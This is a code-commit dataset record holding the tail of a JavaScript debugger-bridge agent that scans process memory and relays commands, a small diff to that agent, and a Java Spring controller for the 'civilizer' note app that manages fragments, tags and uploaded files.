const maxPrintable = '~'.charCodeAt(0);
function _filterPrintable (arr) {
const u8arr = new Uint8Array(arr);
const printable = [];
for (let i = 0; i !== u8arr.length; i += 1) {
const c = u8arr[i];
if (c >= minPrintable && c <= maxPrintable) {
printable.push(String.fromCharCode(c));
}
}
return printable.join('');
}
function _readableHits (hits) {
const output = hits.map(hit => {
if (hit.flag !== undefined) {
return `${hit.address} ${hit.flag} ${hit.content}`;
}
return `${hit.address} ${hit.content}`;
});
return output.join('\n');
}
function _searchPatternJson (pattern) {
return hostCmdj('ej')
.then(config => {
const flags = config['search.flags'];
const prefix = config['search.prefix'] || 'hit';
const count = config['search.count'] || 0;
const kwidx = config['search.kwidx'] || 0;
const ranges = _getRanges(config['search.from'], config['search.to']);
const nBytes = pattern.split(' ').length;
qlog(`Searching ${nBytes} bytes: ${pattern}`);
let results = [];
const commands = [];
let idx = 0;
for (let range of ranges) {
if (range.size === 0) {
continue;
}
const rangeStr = `[${padPointer(range.address)}-${padPointer(range.address.add(range.size))}]`;
qlog(`Searching ${nBytes} bytes in ${rangeStr}`);
try {
const partial = Memory.scanSync(range.address, range.size, pattern);
partial.forEach((hit) => {
if (flags) {
hit.flag = `${prefix}${kwidx}_${idx + count}`;
commands.push('fs+searches');
commands.push(`f ${hit.flag} ${hit.size} ${hit.address}`);
commands.push('fs-');
}
idx += 1;
});
results = results.concat(partial);
} catch (e) {
}
}
qlog(`hits: ${results.length}`);
commands.push(`e search.kwidx=${kwidx + 1}`);
return hostCmds(commands).then(() => {
return results;
});
});
function qlog (message) {
if (!config['search.quiet']) {
console.log(message);
}
}
}
function _configParseSearchIn () {
const res = {
current: false,
perm: 'r--',
path: null,
heap: false
};
const c = config['search.in'];
const cSplit = c.split(':');
const [scope, param] = cSplit;
if (scope === 'current') {
res.current = true;
}
if (scope === 'heap') {
res.heap = true;
}
if (scope === 'perm') {
res.perm = param;
}
if (scope === 'path') {
cSplit.shift();
res.path = cSplit.join('');
}
return res;
}
function _getRanges (fromNum, toNum) {
const searchIn = _configParseSearchIn();
if (searchIn.heap) {
return Process.enumerateMallocRangesSync()
.map(_ => {
return {
address: _.base,
size: _.size
};
});
}
const ranges = Process.enumerateRangesSync({
protection: searchIn.perm,
coalesce: false
}).filter(range => {
const start = range.base;
const end = start.add(range.size);
const offPtr = ptr(offset);
if (searchIn.current) {
return offPtr.compare(start) >= 0 && offPtr.compare(end) < 0;
}
if (searchIn.path !== null) {
if (range.file !== undefined) {
return range.file.path.indexOf(searchIn.path) >= 0;
}
return false;
}
return true;
});
if (ranges.length === 0) {
return [];
}
const first = ranges[0];
const last = ranges[ranges.length - 1];
const from = (fromNum === -1) ? first.base : ptr(fromNum);
const to = (toNum === -1) ? last.base.add(last.size) : ptr(toNum);
return ranges.filter(range => {
return range.base.compare(to) <= 0 && range.base.add(range.size).compare(from) >= 0;
}).map(range => {
const start = _ptrMax(range.base, from);
const end = _ptrMin(range.base.add(range.size), to);
return {
address: start,
size: uint64(end.sub(start).toString()).toNumber()
};
});
}
function _ptrMax (a, b) {
return a.compare(b) > 0 ? a : b;
}
function _ptrMin (a, b) {
return a.compare(b) < 0 ? a : b;
}
function _toHexPairs (raw) {
const isString = typeof raw === 'string';
const pairs = [];
for (let i = 0; i !== raw.length; i += 1) {
const code = (isString ? raw.charCodeAt(i) : raw[i]) & 0xff;
const h = code.toString(16);
pairs.push((h.length === 2) ? h : `0${h}`);
}
return pairs.join(' ');
}
function _toWidePairs (raw) {
const pairs = [];
for (let i = 0; i !== raw.length; i += 1) {
const code = raw.charCodeAt(i) & 0xff;
const h = code.toString(16);
pairs.push((h.length === 2) ? h : `0${h}`);
pairs.push('00');
}
return pairs.join(' ');
}
function _normHexPairs (raw) {
const norm = raw.replace(/ /g, '');
if (_isHex(norm)) {
return _toPairs(norm.replace(/\./g, '?'));
}
throw new Error('Invalid hex string');
}
function _toPairs (hex) {
if ((hex.length % 2) !== 0) {
throw new Error('Odd-length string');
}
const pairs = [];
for (let i = 0; i !== hex.length; i += 2) {
pairs.push(hex.substr(i, 2));
}
return pairs.join(' ').toLowerCase();
}
function _isHex (raw) {
const hexSet = new Set(Array.from('abcdefABCDEF0123456789?.'));
const inSet = new Set(Array.from(raw));
for (let h of hexSet) {
inSet.delete(h);
}
return inSet.size === 0;
}
function onStanza (stanza, data) {
const handler = requestHandlers[stanza.type];
if (handler !== undefined) {
try {
const value = handler(stanza.payload, data);
if (value instanceof Promise) {
value
.then(([replyStanza, replyBytes]) => {
send(wrapStanza('reply', replyStanza), replyBytes);
})
.catch(e => {
send(wrapStanza('reply', {
error: e.message
}));
});
} else {
const [replyStanza, replyBytes] = value;
send(wrapStanza('reply', replyStanza), replyBytes);
}
} catch (e) {
send(wrapStanza('reply', {
error: e.message
}));
}
} else if (stanza.type === 'cmd') {
onCmdResp(stanza.payload);
} else {
console.error('Unhandled stanza: ' + stanza.type);
}
recv(onStanza);
}
let cmdSerial = 0;
function hostCmds (commands) {
let i = 0;
function sendOne () {
if (i < commands.length) {
return hostCmd(commands[i]).then(() => {
i += 1;
return sendOne();
});
} else {
return Promise.resolve();
}
}
return sendOne();
}
function hostCmdj (cmd) {
return hostCmd(cmd)
.then(output => {
return JSON.parse(output);
});
}
function hostCmd (cmd) {
return new Promise((resolve) => {
const serial = cmdSerial;
cmdSerial += 1;
pendingCmds[serial] = resolve;
sendCommand(cmd, serial);
});
}
function sendCommand (cmd, serial) {
function sendIt () {
sendingCommand = true;
send(wrapStanza('cmd', {
'cmd': cmd,
'serial': serial
}));
}
if (sendingCommand) {
pendingCmdSends.push(sendIt);
} else {
sendIt();
}
}
function onCmdResp (params) {
const {serial, output} = params;
sendingCommand = false;
if (serial in pendingCmds) {
const onFinish = pendingCmds[serial];
delete pendingCmds[serial];
process.nextTick(() => onFinish(output));
} else {
throw new Error('Command response out of sync');
}
process.nextTick(() => {
if (!sendingCommand) {
const nextSend = pendingCmdSends.shift();
if (nextSend !== undefined) {
nextSend();
}
}
});
return [{}, null];
}
function wrapStanza (name, stanza) {
return {
name: name,
stanza: stanza
};
}
recv(onStanza);
| Fix v: fmtarg for dth
| src/agent/index.js | Fix v: fmtarg for dth | <ide><path>rc/agent/index.js
<ide> var [a, l] = v.split(',');
<ide> var addr = ptr(args[a]);
<ide> var buf = Memory.readByteArray(addr, +args[l]);
<del> //console.log('buf', arrayBufferToHex(buf));
<del> fmtarg.push(Memory.readCString(ptr(args[+v])));
<add> fmtarg.push(arrayBufferToHex(buf));
<ide> break;
<ide> }
<ide> } |
|
Java | apache-2.0 | 28f6348a6c7aed893ef1e864c1cc802d03c34969 | 0 | suewonjp/civilizer,suewonjp/civilizer,suewonjp/civilizer,suewonjp/civilizer | package com.civilizer.web.controller;
import java.io.File;
import java.io.IOException;
import java.util.*;
import javax.faces.application.FacesMessage;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.FileUtils;
import org.joda.time.DateTime;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.webflow.execution.RequestContext;
import com.civilizer.config.AppOptions;
import com.civilizer.dao.FileEntityDao;
import com.civilizer.dao.FragmentDao;
import com.civilizer.dao.TagDao;
import com.civilizer.domain.FileEntity;
import com.civilizer.domain.Fragment;
import com.civilizer.domain.FragmentOrder;
import com.civilizer.domain.SearchParams;
import com.civilizer.domain.Tag;
import com.civilizer.domain.TextDecorator;
import com.civilizer.web.view.*;
@Controller
@Component("mainController")
public final class MainController {
// [DEV]
private static final String DEVELOPMENT_MESSAGE_CLIENT_ID = "fragment-group-form:development-messages";
private static final int MAX_FRAGMENT_PANELS = 3;
private static final String REQUEST_PARAM_LOCALE = "locale";
@SuppressWarnings("unused")
private final Logger logger = LoggerFactory.getLogger(MainController.class);
// private final Gson gson = new GsonBuilder().registerTypeAdapter(DateTime.class, new JodaDateTimeConverter()).create();
@Autowired
private FragmentDao fragmentDao;
@Autowired
private TagDao tagDao;
@Autowired
private FileEntityDao fileEntityDao;
// [TODO] refactor code to maintain special tags
private Tag trashcanTag;
private Tag bookmarkTag;
private Tag getTrashcanTag() {
if (trashcanTag != null) {
return trashcanTag;
}
trashcanTag = tagDao.findById((long) Tag.TRASH_TAG_ID);
return trashcanTag;
}
private Tag getBookmarkTag() {
if (bookmarkTag != null) {
return bookmarkTag;
}
bookmarkTag = tagDao.findById((long) Tag.BOOKMARK_TAG_ID);
return bookmarkTag;
}
private Tag getSpecialTag(String name) {
if (name.equals(Tag.SPECIAL_TAG_NAMES[Tag.TRASH_TAG_ID])) {
return getTrashcanTag();
}
else if (name.equals(Tag.SPECIAL_TAG_NAMES[-Tag.BOOKMARK_TAG_ID])) {
return getBookmarkTag();
}
return null;
}
// [DEV]
public void yetToBeDeveloped(Object ... param) {
String params = "";
for (Object p : param) {
params += p.toString() + ", ";
}
ViewUtil.addMessage(DEVELOPMENT_MESSAGE_CLIENT_ID, "Yet to be developed", params, null);
}
public FragmentListBean[] newFragmentListBeans() {
final FragmentListBean[] output = { null, null, null };
for (int i=0; i<MAX_FRAGMENT_PANELS; ++i) {
final FragmentListBean flb = new FragmentListBean();
final long tagId = (i == 0) ?
PanelContextBean.ALL_VALID_TAGS : PanelContextBean.EMPTY_TAG;
flb.setPanelContextBean(new PanelContextBean(i, tagId));
output[i] = flb;
}
return output;
}
public void populateFragmentListBeans(List<FragmentListBean> flbs, PanelContextBean pcb, SearchContextBean scb, RequestContext rc) {
// final ExternalContext ec = rc.getExternalContext();
// final ParameterMap pm = ec.getRequestParameterMap();
// final String locale = pm.get(REQUEST_PARAM_LOCALE);
// logger.info(locale);
for (int i=0; i<MAX_FRAGMENT_PANELS; ++i) {
final PanelContextBean pc = (pcb != null && pcb.getPanelId() == i) ?
pcb : null;
final SearchContextBean sc = (scb != null && scb.getPanelId() == i) ?
scb : null;
populateFragmentListBean(flbs.get(i), pc, sc);
}
}
private FragmentListBean populateFragmentListBean(FragmentListBean existingFlb, PanelContextBean pcb, SearchContextBean scb) {
final FragmentListBean flb = existingFlb;
final PanelContextBean oldPcb = flb.getPanelContextBean();
final PanelContextBean paramPcb = pcb;
if (pcb == null) {
pcb = oldPcb;
}
int curPage = pcb.getCurPage();
if (paramPcb != null) {
// the current page has been updated by going forward or forward
curPage = Math.max(0,
oldPcb.isLastPage() ? (paramPcb.getCurPage() - 1) : paramPcb.getCurPage());
}
SearchParams sp = oldPcb.getSearchParams();
long tagId = pcb.getTagId();
if (scb != null) {
// a new KEYWORD SEARCH has been kicked;
sp = scb.buildSearchParams();
// this branch has the highest priority of all so it forces to overwrite a few key variables like so:
tagId = PanelContextBean.EMPTY_TAG;
curPage = 0;
}
final int count = pcb.getItemsPerPage();
final int first = curPage * count;
final FragmentOrder frgOrder = FragmentOrder.values()[flb.getOrderOption()];
final boolean asc = flb.isOrderAsc();
List<Fragment> fragments = Collections.emptyList(); // resultant fragments
long allCount = 0; // the number of fragments at maximum
if (tagId == PanelContextBean.ALL_VALID_TAGS) {
// Fetch all the fragments
fragments = fragmentDao.findSomeNonTrashed(first, count + 1, frgOrder, asc);
allCount = fragmentDao.countAll(false);
}
else if (tagId == Tag.TRASH_TAG_ID) {
// Fetch the trashed fragments
fragments = fragmentDao.findSomeByTagId(tagId, first, count + 1, frgOrder, asc);
allCount = fragmentDao.countByTagAndItsDescendants(tagId, true, tagDao);
}
else if (tagId != PanelContextBean.EMPTY_TAG) {
// Fetch the fragments with the specified tag (non-trashed)
fragments = fragmentDao.findSomeNonTrashedByTagId(tagId, first, count + 1, frgOrder, asc, tagDao);
allCount = fragmentDao.countByTagAndItsDescendants(tagId, false, tagDao);
}
else if (sp != null) {
// Fetch the fragments by the search parameters
fragments = fragmentDao.findBySearchParams(sp);
allCount = fragments.size();
if (allCount == 0)
sp = null; // no search hit so no need to record any info to the context;
else
fragments = Fragment.paginate(fragments, first, count + 1, frgOrder, asc);
tagId = PanelContextBean.EMPTY_TAG;
}
// [NOTE] The content of fragments should be IMMUTABLE form here!
final boolean isLastPage = fragments.size() <= count;
final boolean givenTagIsTrashTag = Tag.isTrashTag(tagId);
flb.setTotalCount(allCount);
// Record the panel context; it will be referred at the next page update
flb.setPanelContextBean(new PanelContextBean(pcb.getPanelId(), tagId, curPage, count, isLastPage, givenTagIsTrashTag, sp));
// ViewUtil.addMessage("pcb", flb.getPanelContextBean());
List<FragmentBean> fragmentBeans = new ArrayList<FragmentBean>();
final int c = Math.min(count, fragments.size());
for (int i=0; i<c; ++i) {
Fragment f = fragments.get(i);
FragmentBean fb = new FragmentBean();
fb.setFragment(f);
String title = f.getTitle();
String content = f.getContent();
if (sp != null) {
title = TextDecorator.highlight(title, sp);
content = TextDecorator.highlight(content, sp);
}
fb.setTitle(title);
fb.setContent(content);
final String tagNames = Tag.getTagNamesFrom(f.getTags());
fb.setConcatenatedTagNames(tagNames);
fragmentBeans.add(fb);
}
if (fragmentBeans.isEmpty()) {
fragmentBeans = Collections.emptyList();
}
flb.setFragmentBeans(fragmentBeans);
return flb;
}
public FragmentBean newFragmentBean() {
final FragmentBean fragmentBean = new FragmentBean();
final Fragment frg = new Fragment();
fragmentBean.setFragment(frg);
return fragmentBean;
}
public TagListBean newTagListBean() {
final TagListBean tagListBean = new TagListBean();
final List<Tag> tags = tagDao.findAllWithChildren(false);
tagListBean.setTags(tags);
final int tc = tags.size();
final List<TagBean> tagBeans = new ArrayList<TagBean>();
final boolean includeTrashed = false;
for (int i = 0; i < tc; i++) {
TagBean tb = new TagBean();
final Tag t = tags.get(i);
tb.setTag(t);
final long fc = fragmentDao.countByTagAndItsDescendants(t.getId(), includeTrashed, tagDao);
tb.setFragmentCount(fc);
tagBeans.add(tb);
}
tagListBean.setTagBeans(tagBeans);
final TagTree tagTree = newTagTree();
tagListBean.setTagTree(tagTree);
return tagListBean;
}
public FileListBean newFileListBean() {
final FileListBean output = new FileListBean();
final List<FileEntity> fileEntities = fileEntityDao.findAll();
output.setFileEntities(fileEntities);
final FilePathTree filePathTree = newFilePathTree();
output.setFilePathTree(filePathTree);
final FilePathTree folderTree = newFilePathTree();
output.setFolderTree(folderTree);
return output;
}
public TagBean newTagBean() {
final TagBean tagBean = new TagBean();
final Tag tag = new Tag();
tagBean.setTag(tag);
return tagBean;
}
public void prepareTagListBeanToEditTag(TagListBean tagListBean, TagBean tagBean) {
final long tagId = tagBean.getTag().getId();
tagListBean.setTagToEdit(tagId);
tagBean.getTag().setTagName(tagListBean.getTagToEdit().getTag().getTagName());
tagListBean.setParentTags(tagDao.findParentTags(tagId));
}
public SpecialTagBean newBookmarkTagBean() {
final SpecialTagBean tagBean = new SpecialTagBean();
final Tag tag = getBookmarkTag();
tagBean.setTag(tag);
final List<Fragment> fragments = fragmentDao.findByTagId(tag.getId(), false);
final List<FragmentBean> fbs = new ArrayList<FragmentBean>();
for (Fragment fragment : fragments) {
final FragmentBean fb = new FragmentBean();
fb.setFragment(fragment);
fbs.add(fb);
}
tagBean.setFragmentBeans(fbs);
return tagBean;
}
private TagTree newTagTree() {
final TagTree tagTree = new TagTree();
return tagTree;
}
private FilePathTree newFilePathTree() {
final FilePathTree fpTree = new FilePathTree();
return fpTree;
}
public PanelContextBean newPanelContextBean(int panelId, long tagId, int curPage) {
return new PanelContextBean(panelId, tagId, curPage);
}
public PanelContextBean newPanelContextBean(PanelContextBean oldPcb, int pageOffset) {
return new PanelContextBean(oldPcb.getPanelId(), oldPcb.getTagId(), oldPcb.getCurPage() + pageOffset);
}
public SearchContextBean newSearchContextBean() {
return new SearchContextBean();
}
public void bookmarkFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, false);
frg.addTag(getBookmarkTag());
try {
fragmentDao.save(frg);
ViewUtil.addMessage("Bookmarked", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on bookmarking!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void unbookmarkFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, false);
frg.removeTag(getBookmarkTag());
try {
fragmentDao.save(frg);
ViewUtil.addMessage("Unbookmarked", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on unbookmarking!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
private void trashFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, false);
frg.addTag(getTrashcanTag());
try {
fragmentDao.save(frg);
ViewUtil.addMessage("Trashed", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on trashing a fragment!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void trashFragment(FragmentBean fb) {
trashFragment(fb.getFragment().getId());
}
private void trashFragments(List<Long> fragmentIds) {
for (Long id : fragmentIds) {
trashFragment(id);
}
}
public void trashFragments(FragmentListBean flb) {
final Collection<FragmentBean> fragmentBeans = flb.getFragmentBeans();
for (FragmentBean fb : fragmentBeans) {
if (!fb.isChecked()) {
continue;
}
trashFragment(fb.getFragment().getId());
}
}
private void deleteFragment(Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId);
try {
fragmentDao.delete(frg);
ViewUtil.addMessage("Deleted", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on deleting a fragment!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void deleteFragment(FragmentBean fb) {
deleteFragment(fb.getFragment().getId());
}
public void deleteFragments(FragmentListBean flb) {
final Collection<FragmentBean> fragmentBeans = flb.getFragmentBeans();
for (FragmentBean fb : fragmentBeans) {
if (!fb.isChecked()) {
continue;
}
deleteFragment(fb.getFragment().getId());
}
}
public void saveFragment(FragmentBean fb, TagListBean tagListBean) {
final String tagNames = fb.getConcatenatedTagNames();
final Set<Tag> tags = saveTagsWhenSavingFragment(tagListBean, tagNames);
Fragment frg = fb.getFragment();
boolean weHaveNewFragment = false;
final DateTime dt = new DateTime();
if (frg.getId() == null) {
// It is a new fragment...
frg.setCreationDatetime(dt);
weHaveNewFragment = true;
}
else {
// It is an existing fragment...
final String content = frg.getContent();
frg = fragmentDao.findById(frg.getId());
frg.setContent(content);
}
frg.setUpdateDatetime(dt);
frg.setTags(tags);
try {
fragmentDao.save(frg);
ViewUtil.addMessage(weHaveNewFragment ? "Created" : "Updated", "Fragment #" + frg.getId(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on saving a fragment!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
private Set<Tag> saveTagsWhenSavingFragment(TagListBean tagListBean, String tagNames) {
// [NOTE] this method should be called only when fragments are saved as its name implies
final Collection<Tag> existingTags = tagListBean.getTags();
final Collection<String> names = Tag.getTagNameCollectionFrom(tagNames);
final Set<Tag> output = new HashSet<Tag>();
for (String name : names) {
Tag t = Tag.isSpecialTag(name) ?
getSpecialTag(name) : Tag.getTagFromName(name, existingTags);
boolean weHaveNewTag = false;
if (t == null) {
final char invalidCharacter = Tag.validateName(name);
if (invalidCharacter != 0) {
final String msg = String.format("'%s' contains a disallowed character : %s", name, invalidCharacter);
ViewUtil.addMessage("Error on saving a new tag!!!", msg, FacesMessage.SEVERITY_ERROR);
continue;
}
t = new Tag(name);
weHaveNewTag = true;
}
try {
tagDao.save(t);
if (weHaveNewTag) {
ViewUtil.addMessage("Created", "Tag : " + t.getTagName(), null);
}
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on saving a tag during saving fragments!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
output.add(t);
}
return output;
}
public void saveTag(TagBean tagBean, TagListBean tagListBean) {
final TagBean tagToEdit = tagListBean.getTagToEdit();
final Tag t = tagToEdit.getTag();
final String oldName = t.getTagName();
final String newName = tagBean.getTag().getTagName();
if (newName.isEmpty()) {
ViewUtil.addMessage("Error on updating a tag!!!", "An empty tag name is not allowed!", FacesMessage.SEVERITY_ERROR);
return;
}
t.setTagName(newName);
try {
if (tagListBean.isHierarchyTouched()) {
// persistence request from the tag editor; tag hierarchy would be updated
tagDao.saveWithHierarchy(t, tagListBean.getParentTags(), tagListBean.getChildTags());
}
else {
// persistence request without updating relationships; e.g. renaming only
tagDao.save(t);
}
ViewUtil.addMessage("Updated", "Tag : " + oldName + " => " + newName, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on updating a tag!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void trashTag(TagBean tb) {
final Tag t = tb.getTag();
final Long id = t.getId();
if (id != null) {
final List<Long> fids = fragmentDao.findIdsByTagId(id);
trashFragments(fids);
}
}
public void deleteTag(TagBean tb) {
Tag t = tb.getTag();
final Long id = t.getId();
if (id != null) {
t = tagDao.findById(id);
try {
tagDao.delete(t);
ViewUtil.addMessage("Deleted", "Tag : " + t.getTagName(), null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on deleting a tag!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
public void relateFragments(int fromId, int toId) {
try {
fragmentDao.relateFragments(fromId, toId);
ViewUtil.addMessage("Related", "Fragments : " + fromId + " <==> " + toId, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on relating fragments!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void unrelateFragments(int fromId, int toId) {
try {
fragmentDao.unrelateFragments(fromId, toId);
ViewUtil.addMessage("Unrelated", "Fragments : " + fromId + " <" + Character.toString((char) 0x2260) + "> " + toId, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on unrelating fragments!!!", e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
public void uploadFile(FileUploadBean fileUploadBean, FileListBean fileListBean) {
final int dstNodeId = fileListBean.getDstNodeId();
final String newFileName = fileUploadBean.getFileName();
final String filePath = fileListBean.getFullFilePath(dstNodeId, newFileName);
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
final String fileWritePath = filesHomePath + filePath;
if (fileUploadBean.saveFile(fileWritePath)) {
final FileEntity fe = new FileEntity(filePath);
try {
fileEntityDao.save(fe);
ViewUtil.addMessage("File Uploaded", filePath, null);
}
catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on File Upload!!!", filePath + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
else {
ViewUtil.addMessage("Error on File Upload!!!", filePath, FacesMessage.SEVERITY_ERROR);
}
}
public void renameFile(FileListBean fileListBean) {
final int srcNodeId = fileListBean.getSrcNodeId();
final String newName = fileListBean.getFileName();
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
if (srcNodeId < 0) {
// [RULE] Create a new directory if *srcNodeId* is a minus value;
// [NOTE] we need to decode *srcNodeId* before passing it to the next processing
if (fileListBean.createNewFolder(-srcNodeId - 1, newName, filesHomePath) == null) {
ViewUtil.addMessage("Error on Creating a Folder!!!", newName + " : already exists!", FacesMessage.SEVERITY_ERROR);
}
return;
}
final FilePathBean filePathBean = fileListBean.getFilePathBean(srcNodeId);
final String oldFilePath = filePathBean.getFullPath();
List<FileEntity> entities = Collections.emptyList();
if (filePathBean.isFolder()) {
final File oldDir = filePathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(oldFilePath);
fe.replaceNameSegment(oldFilePath, newName);
final File newDir = fe.toFile(filesHomePath);
try {
FileUtils.moveDirectory(oldDir, newDir);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Renaming a Folder!!!", oldFilePath + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
entities = fileEntityDao.findByNamePattern(oldFilePath + '%');
}
else {
final File oldFile = filePathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(oldFilePath);
fe.replaceNameSegment(oldFilePath, newName);
final File newFile = fe.toFile(filesHomePath);
try {
FileUtils.moveFile(oldFile, newFile);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Renaming a File!!!", oldFilePath + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
FileEntity entity = fileEntityDao.findByName(oldFilePath);
if (entity != null) {
entities = new ArrayList<>();
entities.add(entity);
}
}
for (FileEntity fe : entities) {
fe.replaceNameSegment(oldFilePath, newName);
try {
fileEntityDao.save(fe);
ViewUtil.addMessage("File Renamed", fe.getFileName(), null);
} catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Renaming a File!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
public void moveFile(FileListBean fileListBean) {
final int srcNodeId = fileListBean.getSrcNodeId();
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
final FilePathBean srcPathBean = fileListBean.getFilePathBean(srcNodeId);
final String oldFilePath = srcPathBean.getFullPath();
final int dstNodeId = fileListBean.getDstNodeId();
final FilePathBean dstPathBean = fileListBean.getFolderPathBean(dstNodeId);
final String newParentPath = dstPathBean.getFullPath();
List<FileEntity> entities = Collections.emptyList();
if (srcPathBean.isFolder()) {
final File oldDir = srcPathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(newParentPath + "/" + srcPathBean.getName());
final File newDir = fe.toFile(filesHomePath);
if (oldDir.equals(newDir)) {
ViewUtil.addMessage("No Effect!!!", fe.getFileName() + " :: The source and destination are identical", FacesMessage.SEVERITY_WARN);
return;
}
if (newDir.getAbsolutePath().startsWith(oldDir.getAbsolutePath())) {
ViewUtil.addMessage("Error on Moving a Folder!!!", fe.getFileName() + " :: The source is a subdirectory of the destination", FacesMessage.SEVERITY_ERROR);
return;
}
try {
FileUtils.moveDirectory(oldDir, newDir);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Moving a Folder!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
entities = fileEntityDao.findByNamePattern(oldFilePath + '%');
}
else {
final File oldFile = srcPathBean.toFile(filesHomePath);
final FileEntity fe = new FileEntity(newParentPath + "/" + srcPathBean.getName());
final File newFile = fe.toFile(filesHomePath);
if (oldFile.equals(newFile)) {
ViewUtil.addMessage("Error on Moving a File!!!", fe.getFileName() + " :: The destination already exists", FacesMessage.SEVERITY_ERROR);
return;
}
try {
FileUtils.moveFile(oldFile, newFile);
} catch (IOException e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Moving a File!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
FileEntity entity = fileEntityDao.findByName(oldFilePath);
if (entity != null) {
entities = new ArrayList<>();
entities.add(entity);
}
}
for (FileEntity fe : entities) {
if (srcPathBean.isFolder()) {
fe.setFileName(newParentPath + "/" + srcPathBean.getName() + fe.getFileName().replace(oldFilePath, ""));
}
else {
fe.setFileName(newParentPath + "/" + fe.endName());
}
try {
fileEntityDao.save(fe);
ViewUtil.addMessage("File Moved", fe.getFileName(), null);
} catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Moving a File!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
public void deleteFile(FileListBean fileListBean) {
final int srcNodeId = fileListBean.getSrcNodeId();
final FilePathBean filePathBean = fileListBean.getFilePathBean(srcNodeId);
final String filesHomePath = System.getProperty(AppOptions.FILE_BOX_HOME);
final String filePath = filePathBean.getFullPath();
List<FileEntity> entities = Collections.emptyList();
if (filePathBean.isFolder()) {
entities = fileEntityDao.findByNamePattern(filePath + '%');
}
else {
FileEntity entity = fileEntityDao.findByName(filePath);
if (entity != null) {
entities = new ArrayList<>();
entities.add(entity);
}
}
FileUtils.deleteQuietly(filePathBean.toFile(filesHomePath));
for (FileEntity fe : entities) {
try {
fileEntityDao.delete(fe);
ViewUtil.addMessage("Files Deleted", fe.getFileName(), null);
} catch (Exception e) {
e.printStackTrace();
ViewUtil.addMessage("Error on Deleting Files!!!", fe.getFileName() + " :: " + e.getLocalizedMessage(), FacesMessage.SEVERITY_ERROR);
}
}
}
@RequestMapping(value = "/fragment/{fragmentId}", method = { RequestMethod.GET })
public String onRequestForFragment(ModelMap model, @PathVariable Long fragmentId) {
final Fragment frg = fragmentDao.findById(fragmentId, true, true);
model.addAttribute("fragment", frg);
return "fragment";
}
@RequestMapping(value = "/locale/{locale}", method = { RequestMethod.GET })
public String onRequestForLocale(@PathVariable String locale, HttpServletResponse response) {
Cookie cookie = new Cookie(REQUEST_PARAM_LOCALE, locale);
response.addCookie(cookie);
return "redirect:/app/home?locale=" + locale;
}
}
| src/main/java/com/civilizer/web/controller/MainController.java | package com.civilizer.web.controller;
import java.io.File;
import java.io.IOException;
import java.util.*;
import javax.faces.application.FacesMessage;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.FileUtils;
import org.joda.time.DateTime;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
